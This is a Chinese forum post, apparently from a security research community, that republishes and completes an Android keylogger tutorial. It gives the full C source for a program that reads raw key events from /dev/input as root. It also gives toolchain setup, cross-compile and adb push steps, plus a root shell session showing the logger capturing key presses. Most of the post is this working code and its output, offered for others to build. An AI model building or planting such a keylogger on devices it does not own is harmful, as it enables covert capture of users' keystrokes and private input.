-
-
[原创]Android -- 键盘记录 研究及补充
-
发表于:
2013-12-12 18:06
16567
-
[原创]Android -- 键盘记录 研究及补充
鉴于之前看见的hacknet大哥写的帖子,很多人说编译不了,没有源码什么的,
我做了如下整理,在我的MOTO机器上运行可以了。
附上代码和操作步骤!
标 题: 【原创】Android操作系统安全研究系列——键盘记录
作 者: hacknet
时 间: 2011-07-04,11:15:52
链 接: http://bbs.pediy.com/showthread.php?t=136517
首先你得先安装
arm-none-linux-gnueabi-gcc
这东西
我是在ubuntu下的,所以命令操作就如下
wget http://www.codesourcery.com/sgpp/lite/arm/portal/package4571/public/arm-none-linux-gnueabi/arm-2009q1-203-arm-none-linux-gnueabi-i686-pc-linux-gnu.tar.bz2
然后
拷贝
sudo cp arm-2009q1-203-arm-none-linux-gnueabi-i686-pc-linux-gnu.tar.bz2 /usr/local
解压
sudo tar -jxvf arm-2009q1-203-arm-none-linux-gnueabi-i686-pc-linux-gnu.tar.bz2
设置环境变量
export PATH=$PATH:/usr/local/arm-2009q1/bin/
此设置方法不是 永久性的,永久性的你可以自己更改/etc/bash.bashrc文件
OK了,可以准备编译了。
代码如下:
#include <stdio.h>
#include <stddef.h>
#include <linux/input.h>
#include <fcntl.h>
static int event0_fd = -1;
struct input_event ev0[64];
static int handle_event0()
{
int button , i, rd;
button = 0;
rd = read(event0_fd, ev0, sizeof(struct input_event) * 64);
printf("handle_event0 rd = %d \n",rd);
if ( rd < sizeof(struct input_event) )
{
return 0;
}
printf("handle_event0 read OK ...\n");
for (i = 0; i < rd / sizeof(struct input_event); i++)
{
if (ev0[i].type == 1&&ev0[i].value == 1)
{
printf("Press Key: %3d\n", ev0[i].code);
if (ev0[i].code == 158)
{
printf("Press Key code: 158 ...\n");
return 0;
}
}
}
printf("Press Key: test ...\n");
return 1;
}
int main(int argc, char* argv[])
{
int done;
done = 1;
event0_fd = open("/dev/input/event1", O_RDWR);
if ( event0_fd < 0 )
{
return -1;
}
printf("Listening...\n");
while(done)
{
done = handle_event0();
}
return 0;
}
然后
arm-none-linux-gnueabi-gcc -static key.c -o key
然后把生成的Key 给他PUSH到你的安卓鸡鸡上。
我这边是放在我的安卓鸡鸡路径的/dev/xxtest/目录下面
然后,按照下图这样的操作就完成了。
第一次写啊,高手莫砸哈。。。谢谢!
鉴于最后一张图不咋清晰,我把操作步骤复制出来了。
D:\Program Files\Shuame>adb shell
shell@edison:/ $ cd /dev/xxtest
cd /dev/xxtest
shell@edison:/dev/xxtest $ ll
ll
-rw-rw-rw- shell shell 588392 2013-12-12 16:22 key
shell@edison:/dev/xxtest $
shell@edison:/dev/xxtest $
shell@edison:/dev/xxtest $ su
su
root@edison:/dev/xxtest #
root@edison:/dev/xxtest # ll
ll
-rw-rw-rw- shell shell 588392 2013-12-12 16:22 key
root@edison:/dev/xxtest #
root@edison:/dev/xxtest #
root@edison:/dev/xxtest # chmod 777 key
chmod 777 key
root@edison:/dev/xxtest #
root@edison:/dev/xxtest #
root@edison:/dev/xxtest # ll
ll
-rwxrwxrwx shell shell 588392 2013-12-12 16:22 key
root@edison:/dev/xxtest #
root@edison:/dev/xxtest #
root@edison:/dev/xxtest # ./key
./key
Listening...
handle_event0 rd = 32
handle_event0 read OK ...
Press Key: test ...
handle_event0 rd = 32
handle_event0 read OK ...
Press Key: test ...
handle_event0 rd = 48
补充下:
event0_fd = open("/dev/input/event1", O_RDWR);
这个代码有时候需要改,因为之前那位大哥写的是event0,可是我一直没显示输出。最后我进入我的手机安卓系统,用getevent命令查看,才发现我的是event1,所以就改了下。
就是如何查看event多少呢?
打开CMD
然后输入
adb shell
然后
su
然后
getevent
就可以看见是event几了。。。
好叻。收尾。。。
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!